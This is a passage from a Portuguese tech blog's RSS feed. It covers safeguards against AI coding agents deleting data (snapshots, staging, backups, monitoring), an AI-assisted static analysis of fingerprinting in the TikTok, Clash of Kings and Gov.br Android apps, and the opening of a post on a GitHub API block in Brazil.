</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">ansible.builtin.shell</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;distrobox list 2&gt;/dev/null | awk &#39;{print $3}&#39; | grep -qx {{ dl_box_name }}&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">register</span><span class="p">:</span><span class="w"> </span><span class="l">_box_exists</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">changed_when</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">failed_when</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl">- <span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">Create distrobox</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">ansible.builtin.command</span><span class="p">:</span><span class="w"> </span><span class="p">&gt;-</span><span class="sd">
</span></span></span><span class="line"><span class="cl"><span class="sd">    distrobox create
</span></span></span><span class="line"><span class="cl"><span class="sd">    --name {{ dl_box_name }}
</span></span></span><span class="line"><span class="cl"><span class="sd">    --image {{ dl_image }}
</span></span></span><span class="line"><span class="cl"><span class="sd">    --home {{ dl_box_home }}
</span></span></span><span class="line"><span class="cl"><span class="sd">    {{ &#39;--nvidia&#39; if dl_nvidia_enabled else &#39;&#39; }}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">when</span><span class="p">:</span><span class="w"> </span><span class="l">_box_exists.rc != 0</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Idempotente: confere se a box existe antes de criar, rodar duas vezes dá no mesmo. Se meu PC pegar fogo amanhã, eu recrio os dois ambientes inteiros com um <code>ansible-playbook site.yml</code> em cada repo. O conhecimento está na receita, versionado, auditável. Zero comando perdido no histórico do shell.</p>
<h3>Escalando o mesmo princípio pra produção<span class="hx:absolute hx:-mt-20" id="escalando-o-mesmo-princípio-pra-produção"></span>
    <a href="#escalando-o-mesmo-princ%c3%adpio-pra-produ%c3%a7%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Numa empresa, troca distrobox por Kubernetes e o princípio é idêntico. O agente escreve o manifesto, testa no cluster de staging, você promove pra produção manualmente:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">apiVersion</span><span class="p">:</span><span class="w"> </span><span class="l">apps/v1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">kind</span><span class="p">:</span><span class="w"> </span><span class="l">Deployment</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">metadata</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">minha-api</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">spec</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">replicas</span><span class="p">:</span><span class="w"> </span><span class="m">3</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">selector</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">matchLabels</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">app</span><span class="p">:</span><span class="w"> </span><span class="l">minha-api</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">template</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">metadata</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">labels</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nt">app</span><span class="p">:</span><span class="w"> </span><span class="l">minha-api</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">spec</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">containers</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span>- <span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">minha-api</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">          </span><span class="nt">image</span><span class="p">:</span><span class="w"> </span><span class="l">registry.exemplo.com/minha-api:v42</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">          </span><span class="nt">readinessProbe</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">            </span><span class="nt">httpGet</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">              </span><span class="nt">path</span><span class="p">:</span><span class="w"> </span><span class="l">/healthz</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">              </span><span class="nt">port</span><span class="p">:</span><span class="w"> </span><span class="m">8080</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">          </span><span class="nt">resources</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">            </span><span class="nt">limits</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">              </span><span class="nt">memory</span><span class="p">:</span><span class="w"> </span><span class="l">512Mi</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>O fluxo profissional: o agente produz e ajusta o manifesto (ou o chart do Helm, ou o módulo do Terraform), aplica em staging (<code>kubectl apply -n staging</code>), roda os testes, observa efeitos colaterais, bugs, comportamento não intencional, e itera até você estar satisfeito. Aí VOCÊ, humano, promove pra produção (via PR revisado num fluxo GitOps, ou um <code>kubectl apply</code> manual e consciente), monitorando cada passo. O agente fez todo o trabalho pesado: os artefatos, os procedimentos, os checklists. Dá até pra pedir pra ele gerar a documentação de auditoria no final. Mas o dedo que aperta o botão de produção tem CPF.</p>
<h3>Até o SQL &ldquo;simples&rdquo; de manutenção<span class="hx:absolute hx:-mt-20" id="até-o-sql-simples-de-manutenção"></span>
    <a href="#at%c3%a9-o-sql-simples-de-manuten%c3%a7%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Um caso que parece inofensivo e me incomoda muito: comando SQL de manutenção em produção. Muita gente sempre rodou esses comandos na mão, direto no client de produção, e agora está pedindo pro agente escrever E executar. Isso é inaceitável, com ou sem IA. Seu sistema deve ter um fluxo de <strong>migrations</strong>: a mudança vira código versionado, roda em staging primeiro, é validada, e só então executa em produção dentro do processo normal de deploy.</p>
<p>E &ldquo;produção&rdquo;, por definição, significa duas coisas que muita empresa finge ter. Primeiro: backups de verdade, testados, com restore ensaiado.</p>
<blockquote>
  <p>Jamais rode em produção qualquer coisa da qual você não consegue se recuperar.</p>

</blockquote>
<p>Segundo: monitoramento. Se você não tem visibilidade do estado do sistema, você não tem produção, tem um servidor ligado na tomada e reza.</p>
<h2>Monitoramento: até no meu humilde PC<span class="hx:absolute hx:-mt-20" id="monitoramento-até-no-meu-humilde-pc"></span>
    <a href="#monitoramento-at%c3%a9-no-meu-humilde-pc" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>E monitoramento é tão parte da disciplina que eu aplico até na minha máquina pessoal. Recentemente eu desenvolvi um widget de system health pro meu <a href="https://github.com/akitaonrails/clock-tui"target="_blank" rel="noopener">clock-tui</a> (meu fork mantido do clock-tui original, com widgets de comando no modo relógio). Ele fica aberto num canto mostrando isso aqui:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/07/11/agentes-apagando/system-health-widget.webp" alt="Widget de system health do clock-tui: backups restic ok há 19h, 23 snapshots do timeshift, limpeza de dev-cache ok, scrub e trim do btrfs em dia, zero erros de IO, load, memória e uso de storage por filesystem."  loading="lazy" /></p>
<p>Uma linha de veredito (&ldquo;all systems healthy&rdquo;) e o estado de tudo que este post descreveu: o backup do restic rodou há 19 horas e o próximo é às 03:03; o Timeshift mantém 23 snapshots; a limpeza de caches de desenvolvimento rodou há 32 horas; o scrub do BTRFS está em dia em cada filesystem, com trim recente, alocação saudável e zero erros de I/O; mais zumbis, load, memória e ocupação de cada disco. O widget (<code>tclock-system-health</code>) vem junto no repositório e no pacote do AUR, e detecta a maior parte disso sozinho.</p>
<p>Por trás dele estão as manutenções automatizadas, todas em timers do systemd: o restic diário às 3h; o <code>dev-cache-clean</code> (dia 1 e dia 15) varrendo <code>target/</code> órfãos de Rust e cache do yay, que juntos devolvem dezenas de gigas; o <code>btrfs-scrub</code> mensal por filesystem validando checksums; o <code>fstrim</code> semanal. Nada disso exige que eu lembre de nada. Quando algum atrasar ou falhar, o widget muda de cor na minha cara.</p>
<p>Esse é o nível caseiro, proporcional a um PC pessoal. Numa empresa você vai de full-blown: Prometheus coletando métricas, Grafana desenhando os dashboards, Alertmanager acordando o plantonista às 3 da manhã. A escala muda, o princípio é o mesmo: o estado do sistema visível o tempo todo, e alguém (ou alguma coisa) sendo avisado quando sai do trilho.</p>
<h2>Conclusão: disciplina<span class="hx:absolute hx:-mt-20" id="conclusão-disciplina"></span>
    <a href="#conclus%c3%a3o-disciplina" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Volta nos dois tweets do começo. Em ambos os casos, um único comando errado causou perda real, e a discussão pública virou &ldquo;em quem eu confio mais&rdquo;. A pergunta certa é outra: <strong>por que um único comando errado, de qualquer origem, tem o poder de causar perda irrecuperável na sua máquina?</strong></p>
<p>Ser profissional é ser disciplinado, e a disciplina começa em casa. Meu PC pessoal opera com o mesmo rigor que eu cobraria de um ambiente corporativo: filesystem com snapshots leves e agendados, boot recuperável via GRUB, backup externo diário com política de retenção, sandbox pra sessões suspeitas, ambientes isolados e reconstruíveis por receitas versionadas, manutenção automatizada e um monitor que me avisa quando qualquer peça atrasa. Custo de manutenção mensal disso tudo: perto de zero. Foi montado uma vez (em boa parte pelos próprios agentes) e funciona sozinho.</p>
<p>Com essas camadas, a pergunta do título quase perde o sentido. O agente apagou um diretório? Snapshot de uma hora atrás, dois minutos de recuperação. Destruiu o sistema? Boot num snapshot pelo GRUB, restore, dez minutos. Fritou o disco junto? Restic no NAS, backup de ontem. Em cinco meses de YOLO mode eu nunca precisei de nenhuma dessas redes pra acidente de IA. Mas eu durmo tranquilo justamente porque elas estão lá.</p>
<p>LLM rodando solto no seu sistema é só o teste de estresse mais recente da sua disciplina. Se um agente descontrolado consegue causar perda permanente nos seus dados, a vulnerabilidade sempre esteve aí, esperando um erro seu, um disco ruim ou um ransomware. O agente foi só o mensageiro que chegou primeiro.</p>
]]></content:encoded><category>ai-jail</category><category>agentes-de-codigo</category><category>seguranca</category><category>armazenamento-e-backup</category></item><item><title>Fiz o Fable 5 analisar código do TikTok, Clash of Kings e Gov.br - Entendendo Fingerprint</title><link>https://akitaonrails.github.io/2026/07/08/fable-5-analisar-codigo-tiktok-clash-of-kings-govbr-fingerprint/</link><guid isPermaLink="true">https://akitaonrails.github.io/2026/07/08/fable-5-analisar-codigo-tiktok-clash-of-kings-govbr-fingerprint/</guid><pubDate>Wed, 08 Jul 2026 16:00:00 -0300</pubDate><description>&lt;p&gt;Deixa eu começar com o disclaimer mais importante do post inteiro, porque ele muda como você deve ler tudo daqui pra baixo: &lt;strong&gt;nada aqui é 100% factual.&lt;/strong&gt; Eu pedi pro Claude Fable 5 fazer uma análise completa do código de três apps Android, mas eu não tenho como garantir o quão fundo ele foi de verdade sem reauditar arquivo por arquivo na mão, e isso são centenas de milhares de arquivos por app. Então trata isso como um panorama, não como um laudo pericial.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Deixa eu começar com o disclaimer mais importante do post inteiro, porque ele muda como você deve ler tudo daqui pra baixo: <strong>nada aqui é 100% factual.</strong> Eu pedi pro Claude Fable 5 fazer uma análise completa do código de três apps Android, mas eu não tenho como garantir o quão fundo ele foi de verdade sem reauditar arquivo por arquivo na mão, e isso são centenas de milhares de arquivos por app. Então trata isso como um panorama, não como um laudo pericial.</p>
<p>E tem mais camadas de incerteza. Os APKs vieram do <a href="https://apkpure.com/"target="_blank" rel="noopener">APKPure</a>, não da Play Store oficial, então existe a possibilidade (pequena, mas existe) de terem sido adulterados no caminho. E mesmo depois de descompilar, sobra um monte de biblioteca binária e SDK que a gente não abriu, assumindo que são libs comuns tipo Google Firebase ou Google Play Services. Esse mini-projeto foi, no fundo, curiosidade minha: eu queria saber o que tem dentro desses apps que a gente instala sem pensar.</p>
<h2>Descompilar Android é fácil demais<span class="hx:absolute hx:-mt-20" id="descompilar-android-é-fácil-demais"></span>
    <a href="#descompilar-android-%c3%a9-f%c3%a1cil-demais" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Uma coisa que muita gente não sabe: app Android é <strong>fácil demais</strong> de descompilar. O APK é basicamente um zip. Você descompacta, roda uma ferramenta como o <a href="https://github.com/skylot/jadx"target="_blank" rel="noopener">jadx</a> nos arquivos <code>.dex</code>, e sai Java legível do outro lado. Se o app é Flutter, dá pra reconstruir o Dart com o <a href="https://github.com/worawit/blutter"target="_blank" rel="noopener">Blutter</a>. Se é um jogo Cocos2d-x, muitas vezes os scripts Lua estão ali em texto puro, sem nem precisar descriptografar.</p>
<p>Isso <strong>não</strong> te deixa recompilar o app a partir do fonte (os nomes de classe e método vêm embaralhados pela ofuscação, faltam recursos, faltam as chaves de assinatura). Mas pra <strong>análise estática</strong> é mais que suficiente: dá pra ler os endpoints que o app contata, as permissões que ele pede, os identificadores que ele monta, os SDKs que ele embute. É exatamente esse tipo de leitura que eu pedi pro Fable 5 fazer.</p>
<p>Um limite honesto: a parte mais sensível costuma estar em <strong>código nativo</strong> (<code>.so</code>), C/C++ compilado, que não descompila em nada legível. No caso do TikTok, é justamente aí que mora o miolo, e volto nisso já já.</p>
<h2>&ldquo;Se é de graça, você é o produto&rdquo;<span class="hx:absolute hx:-mt-20" id="se-é-de-graça-você-é-o-produto"></span>
    <a href="#se-%c3%a9-de-gra%c3%a7a-voc%c3%aa-%c3%a9-o-produto" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Você já ouviu essa frase mil vezes. Ela é verdadeira, mas quase sempre fica no abstrato. Vamos concretizar: como exatamente você vira o produto? A resposta tem um nome técnico, e é o motivo de eu ter escolhido esse tema pro título: <strong>fingerprint</strong>.</p>
<p>Fingerprint (impressão digital do dispositivo) é um identificador persistente que a plataforma monta juntando dezenas de sinais do seu aparelho: modelo do celular, versão do sistema, resolução de tela, CPU, RAM, operadora, fuso horário, idioma, bateria, fontes instaladas, redes Wi-Fi e Bluetooth por perto, sensores de movimento, e por aí vai. Nenhum desses dados sozinho te identifica. Mas a <strong>combinação</strong> deles é tão específica que vira praticamente único, um &ldquo;número de série&rdquo; implícito do seu dispositivo que você nunca autorizou explicitamente.</p>
<p>O pulo do gato, e o motivo pelo qual isso é tão valioso, é a <strong>persistência</strong>. Um cookie você limpa. O identificador de anúncio você reseta. Mas um fingerprint bem montado sobrevive a você limpar os dados do app, sobrevive a reinstalar, às vezes sobrevive até a resetar o aparelho. Ele re-identifica você como a mesma pessoa depois de qualquer tentativa de recomeçar do zero. É por isso que as empresas querem tanto: com o fingerprint, elas cruzam seu comportamento entre apps, entre sessões, entre reinstalações, e montam um perfil que segue você mesmo quando você acha que apagou seus rastros. Esse perfil é o produto da tal frase. E o produto é você.</p>
<p>Os três apps que analisei mostram três pontos bem diferentes desse espectro, e é aí que a coisa fica interessante.</p>
<h2>Os três apps<span class="hx:absolute hx:-mt-20" id="os-três-apps"></span>
    <a href="#os-tr%c3%aas-apps" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><h3>TikTok: coleta grau industrial, blindada contra auditoria<span class="hx:absolute hx:-mt-20" id="tiktok-coleta-grau-industrial-blindada-contra-auditoria"></span>
    <a href="#tiktok-coleta-grau-industrial-blindada-contra-auditoria" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O <a href="https://github.com/akitaonrails/tiktok_analysis"target="_blank" rel="noopener">tiktok_analysis</a> foi o mais denso. Versão 46.0.1, 37 arquivos dex, 204 bibliotecas nativas. A conclusão honesta, e que eu acho a mais justa: <strong>não é malware disfarçado, mas é coleta grau industrial projetada pra ser difícil de auditar.</strong></p>
<p>Do lado tranquilizador: nenhum servidor secreto. Todo host que o app contata é da TikTok/ByteDance ou de um fornecedor de anúncio/analytics <em>nomeado</em> (Adjust, AppsFlyer, Facebook, Google, ThreatMetrix, Amazon). Não achamos coleta de IMEI nem de MAC, não tem <code>QUERY_ALL_PACKAGES</code>, não lê SMS nem registro de chamadas. Dados de usuários dos EUA e da UE vão pra enclaves dedicados (o famoso Project Texas com a Oracle em Ashburn).</p>
<p>Do lado preocupante: ele coleta <strong>muito</strong>. Fingerprint persistente do dispositivo, localização precisa, varredura de Wi-Fi e Bluetooth, upload de contatos (se você habilitar &ldquo;encontrar amigos&rdquo;), sensores de movimento, e uma checagem contra uma lista fixa de <strong>91 apps nomeados</strong> pra ver quais você tem instalado (concorrentes, PayPal, Venmo, Spotify, apps irmãos da ByteDance). Seu ID de anúncio se espalha pra uns 6 terceiros.</p>
<p>E o achado central: o fingerprint e boa parte da telemetria são montados em <strong>código nativo</strong> (a <code>libmetasec_ov.so</code> e uma pilha de libs de cripto), com a assinatura de cada requisição saindo encriptada. Ou seja, mesmo descompilando o app inteiro, não dá pra saber exatamente quais bytes saem do aparelho.</p>
<p>Pra atacar justamente essa caixa-preta, uma das análises passou um <code>strings</code> nas 204 bibliotecas nativas (o <a href="https://github.com/akitaonrails/tiktok_analysis/blob/main/docs/13-native-library-analysis.md"target="_blank" rel="noopener">relatório 13</a> do repo), e aí a <code>libmetasec_ov.so</code> entrega o jogo em texto puro. Dá pra ler os campos que ela coleta (<code>secdeviceid</code>, <code>device_id</code>, nível e estado da bateria, tamanho da tela), a função que assina as requisições, os endpoints de telemetria da ByteDance cravados no binário, e até o agendador que dispara o envio num timer. O que a camada Java só deixava inferir, o nativo confirma. É uma máquina de fingerprint, sem tirar nem pôr.</p>
<p>E a mesma varredura foi atrás justamente do que todo mundo tem medo de achar (keylogger, gravador de tela, injeção de input) e não achou nada disso. Os hits assustadores de palavra-chave eram falsos amigos: <code>keylog</code> era o log de debug do TLS, <code>screenshot</code> era o player de vídeo e a autenticidade de conteúdo C2PA, <code>getevent</code> era nome de método de mídia. Tem anti-debug e detecção de frida/xposed, sim, mas é o app se inspecionando por dentro, coisa normal de biblioteca de segurança, não bisbilhotando o resto do celular.</p>
<p>Então a opacidade continua sendo o ponto, só que mais afiada: a gente sabe o que a <code>libmetasec_ov</code> faz e pra onde ela reporta, e o que segue trancado são os bytes exatos do payload, que só disassembly do nativo ou captura ao vivo revelariam. &ldquo;Não está provado que é spyware&rdquo; e &ldquo;coleta muito mais do que precisa, de forma opaca&rdquo; seguem verdadeiras ao mesmo tempo, agora com a confirmação em texto puro de que o motor de fingerprint é real.</p>
<h3>Clash of Kings: o jogo é honesto, a monetização é predatória<span class="hx:absolute hx:-mt-20" id="clash-of-kings-o-jogo-é-honesto-a-monetização-é-predatória"></span>
    <a href="#clash-of-kings-o-jogo-%c3%a9-honesto-a-monetiza%c3%a7%c3%a3o-%c3%a9-predat%c3%b3ria" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O <a href="https://github.com/akitaonrails/clash_of_kings_analysis"target="_blank" rel="noopener">clash_of_kings_analysis</a> foi uma surpresa agradável no quesito privacidade. É um jogo de estratégia da chinesa Elex, engine Cocos2d-x com quase 12 mil scripts Lua em texto puro. E, olha só: <strong>sem GPS, sem câmera, sem microfone, sem contatos, sem SMS, sem IMEI.</strong> As duas leituras mais sensíveis que ele <em>pode</em> fazer (lista de apps instalados e MAC do Wi-Fi) são ambas condicionadas a consentimento. Nada de malware, nada de exfiltração escondida.</p>
<p>A preocupação de privacidade é o mesmo vilão do TikTok em versão mais simples: um <strong>UUID de dispositivo resistente a reset</strong>, gravado em quatro lugares diferentes (configurações do sistema, preferências, cartão SD e backup na nuvem) justamente pra sobreviver a uma reinstalação. Mais telemetria pra infra em região da China e pro Tencent Bugly.</p>
<p>Onde o Clash of Kings realmente pesa é na <strong>monetização</strong>. É o kit completo de free-to-play predatório: loot boxes (as &ldquo;luck draws&rdquo; de heróis), ofertas com contador regressivo pra criar FOMO, tiers VIP pay-to-win, escadas de gasto acumulado com ranking de quem gasta mais (a caça à &ldquo;baleia&rdquo;), cartão mensal, o pacote inteiro. O lado meio-copo-cheio: as probabilidades de drop são divulgadas no jogo, e existe o sistema chinês de anti-vício e nome-real pra menores. Privacidade decente, carteira em perigo.</p>
<h3>Gov.br: o exemplo de como fazer direito (com uma ressalva)<span class="hx:absolute hx:-mt-20" id="govbr-o-exemplo-de-como-fazer-direito-com-uma-ressalva"></span>
    <a href="#govbr-o-exemplo-de-como-fazer-direito-com-uma-ressalva" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O <a href="https://github.com/akitaonrails/govbr_analysis"target="_blank" rel="noopener">govbr_analysis</a> é o contraponto, e me deixou até aliviado. É o app oficial de identidade digital do governo brasileiro, feito em Flutter (reconstruí o Dart com o Blutter). Pros padrões de um app de governo obrigatório, ele é <strong>bem construído e respeitoso com privacidade</strong>: o tráfego é quase todo pra <code>*.gov.br</code>, SERPRO e Dataprev, o TLS tem certificate pinning, as credenciais ficam no KeyStore criptografado do Android, a assinatura ICP-Brasil usa cripto grau FIPS, e o app se defende com força contra aparelho rooteado ou adulterado. E o mais importante: <strong>nenhum tracker comercial de anúncio.</strong> Nada de Segment, Adjust, AppsFlyer ou Meta.</p>
<p>As duas ressalvas honestas: ele embute o <strong>Google Firebase</strong> (Analytics, Crashlytics, Messaging, Remote Config) com coleta ligada por padrão e permissão de ad-id declarada, o que é o padrão preguiçoso de quase todo app hoje; e a sua <strong>selfie de prova de vida sobe pro backend do governo</strong> pra bater identidade, o que é inerente ao propósito e não vai pra terceiros. O item que só a captura de tráfego ao vivo resolveria é se o seu CPF vai anexado aos relatórios do Crashlytics. Mas no geral, se todo app fosse construído com esse cuidado, esse post nem existiria.</p>
<h2>O que quase todo app carrega junto<span class="hx:absolute hx:-mt-20" id="o-que-quase-todo-app-carrega-junto"></span>
    <a href="#o-que-quase-todo-app-carrega-junto" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Cruzando os três (e é aí que o padrão aparece), dá pra ver o que costuma vir embutido no app que você baixa, mesmo num app de governo:</p>
<ul>
<li><strong>Google Firebase / Play Services</strong>: presente nos três. Analytics, Crashlytics (relatório de erro), Cloud Messaging (push), Remote Config. É tão onipresente que virou infraestrutura invisível. E vem com coleta ligada por padrão.</li>
<li><strong>Stack de atribuição de anúncio</strong>: Adjust, AppsFlyer, Branch.io, Singular, Facebook SDK. A função é ligar &ldquo;você clicou nesse anúncio&rdquo; a &ldquo;você instalou e usou o app&rdquo;. No TikTok tinha um empilhamento redundante: cinco desses ao mesmo tempo, cada um coletando seu ad-id de forma independente.</li>
<li><strong>Redes de anúncio</strong>: AdMob/DoubleClick do Google, e no caso dos jogos o ecossistema de mediação de ads.</li>
<li><strong>Analytics/crash de origem regional</strong>: o Tencent Bugly no Clash of Kings é o exemplo, telemetria indo pra infra chinesa.</li>
<li><strong>Um serviço especializado de fingerprint/antifraude</strong>: o caso mais chamativo foi o <a href="https://risk.lexisnexis.com/products/threatmetrix"target="_blank" rel="noopener">ThreatMetrix da LexisNexis</a> no TikTok: uma empresa cujo negócio <em>é</em> montar impressão digital de dispositivo pra detecção de fraude. Legítimo no uso antifraude, mas é literalmente uma máquina de fingerprint como serviço, embutida.</li>
</ul>
<p>O recado é que aquele &ldquo;produto&rdquo; não é montado por uma empresa só. São cinco, seis, sete parceiros, cada um pegando um pedaço, e o fingerprint costurando tudo de volta num perfil só. Ninguém está te espionando sozinho. É um mutirão.</p>
<h2>O que dá pra fazer<span class="hx:absolute hx:-mt-20" id="o-que-dá-pra-fazer"></span>
    <a href="#o-que-d%c3%a1-pra-fazer" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Você não vai zerar isso sem sair da internet, mas dá pra reduzir bastante a superfície exposta:</p>
<ul>
<li><strong>Não consinta o que não precisa.</strong> GPS é o maior. Um app de vídeo não precisa da sua localização precisa pra funcionar. Negue, ou libere só &ldquo;enquanto usa o app&rdquo;. O mesmo vale pra contatos, microfone e câmera: só libere quando o recurso que você quer usar naquele momento exige.</li>
<li><strong>Resete seu ID de anúncio de vez em quando</strong> (e, no Android, dá pra escolher &ldquo;excluir ID de publicidade&rdquo; de vez). Não mata o fingerprint, mas quebra parte do rastro.</li>
<li><strong>Desconfie de &ldquo;encontrar amigos&rdquo;.</strong> É o gatilho de upload de contatos. Você entrega a rede social inteira das pessoas que confiaram seu número a você.</li>
<li><strong>Prefira a versão web quando der.</strong> Navegador com bloqueador de rastreador exposto menos fingerprint que o app nativo, que tem acesso a sensores e sinais que o browser não dá.</li>
<li><strong>Aceite o trade-off conscientemente.</strong> A questão não é virar paranoico e desinstalar tudo. É saber o preço. Se você acha o TikTok divertido o suficiente pra pagar com seu fingerprint, ótimo, é uma decisão informada. O problema é pagar sem saber que está pagando.</li>
</ul>
<h2>O ponto do post<span class="hx:absolute hx:-mt-20" id="o-ponto-do-post"></span>
    <a href="#o-ponto-do-post" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Nada disso prova ou desprova que um app específico é 100% seguro. Análise estática mostra o que o app é <strong>capaz</strong> de fazer, o que está construído dentro dele; só a captura de tráfego ao vivo, com aparelho rooteado e proxy MITM, mostraria o que de fato sai pela rede em cada requisição. Eu não fui até lá. Isso aqui é um vislumbre, não um veredito.</p>
<p>E é exatamente esse o ponto. Hoje, com um LLM bom e uma tarde livre, qualquer desenvolvedor curioso consegue abrir o próprio celular e ver o que está rodando ali dentro, sem depender da opinião de um influenciador de tecnologia ou de manchete alarmista. As três análises completas estão no GitHub (<a href="https://github.com/akitaonrails/tiktok_analysis"target="_blank" rel="noopener">TikTok</a>, <a href="https://github.com/akitaonrails/clash_of_kings_analysis"target="_blank" rel="noopener">Clash of Kings</a>, <a href="https://github.com/akitaonrails/govbr_analysis"target="_blank" rel="noopener">gov.br</a>) com o passo a passo pra reproduzir. Pega um app que você usa todo dia e faz o mesmo. É a coisa mais próxima de ler o rótulo antes de comer que a gente tem no mundo do software.</p>
]]></content:encoded><category>seguranca</category><category>engenharia-de-software</category></item><item><title>Burlando o bloqueio à API do GitHub no Brasil</title><link>https://akitaonrails.github.io/2026/06/11/burlando-bloqueio-api-github-brasil/</link><guid isPermaLink="true">https://akitaonrails.github.io/2026/06/11/burlando-bloqueio-api-github-brasil/</guid><pubDate>Thu, 11 Jun 2026 20:00:00 -0300</pubDate><description>&lt;p&gt;Hoje apareceu um problema daqueles que parecem piada, mas não são: &lt;code&gt;api.github.com&lt;/code&gt; começou a dar timeout no Brasil. O site &lt;code&gt;github.com&lt;/code&gt; abre. Clonar via SSH pode continuar funcionando. Mas as ferramentas que dependem da API do GitHub, como &lt;code&gt;gh&lt;/code&gt;, automações de CI, scripts pessoais, bots, CLIs, dashboards e tudo que consulta issues e pull requests, começam a travar.&lt;/p&gt;
